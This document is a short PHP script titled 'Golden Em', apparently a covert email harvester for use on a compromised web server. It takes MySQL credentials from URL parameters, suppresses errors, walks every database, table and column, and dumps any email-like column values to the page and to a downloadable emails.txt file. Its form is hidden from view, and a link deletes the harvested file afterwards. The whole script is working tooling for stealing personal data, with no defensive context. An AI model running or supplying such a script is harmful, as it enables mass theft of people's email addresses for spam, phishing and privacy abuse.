Golden Em

<?php
    @set_time_limit(0);error_reporting(0);

    if(!empty($_GET["rm"])){unlink('emails.txt');echo '<script> alert("email file deleted");window.location="'  . $_SERVER["PHP_SELF"] . '";</script>';}
    if(!empty($_GET["server"])){
        $vr=false;if(!empty($_GET["filesf"])){if($_GET["filesf"]=="on"){$vr=true;}}
        if($vr==true){ignore_user_abort(true);$fh = fopen("emails.txt", 'w') or die("can't open file " . getcwd() . '/emails.txt');}
        mysql_connect($_GET["server"], $_GET["user"], $_GET["pw"]) OR die("not connected");
        $res1 = mysql_query("SHOW DATABASES");
		echo 'Golden'. "\n";
        while ($row1 = mysql_fetch_assoc($res1)) {
            $res2 = mysql_query("SHOW TABLES FROM " . $row1['Database']);
            while ($row2 = mysql_fetch_assoc($res2)) {
                $res3 = mysql_query("SHOW COLUMNS FROM " . $row1['Database'] . "." . $row2['Tables_in_' . $row1['Database']]);
                while ($row3 = mysql_fetch_assoc($res3)) {
                    if(strstr($row3['Field'], "email")) {
                        $res4 = mysql_query("select " . $row3['Field'] ." FROM " . $row1['Database'] . "." . $row2['Tables_in_' . $row1['Database']]);
                        while ($row4 = mysql_fetch_assoc($res4)) {if(!empty($row4[$row3['Field']])){if(strstr($row4[$row3['Field']], "@")){echo $row4[$row3['Field']] . "\n";if($vr==true){fwrite($fh, $row4[$row3['Field']] . "\n");}}}}
                    }
                }

            }
        }
        if($vr==true){fclose($fh);echo '</br><a href="emails.txt">Here are your Emails</a><span style="padding: 0 20px;"></span><a href="' . $_SERVER["PHP_SELF"] . '?rm=1">Remove email File</a>';}
    }else{
        echo '<form style="display:none;" method="GET"><table><tr><td>Server : <input type="text" name="server" value="localhost"\></td></tr><tr><td>User : <input type="text" name="user" value=""\></td></tr><tr><td>Password : <input type="text" name="pw" value=""\></td></tr><tr><td>Save-to-file : <input style="display:none;" type="checkbox" name="filesf"\></td></tr><tr><td><input type="submit" value="send"\></td></tr></table></form>';
    }
?>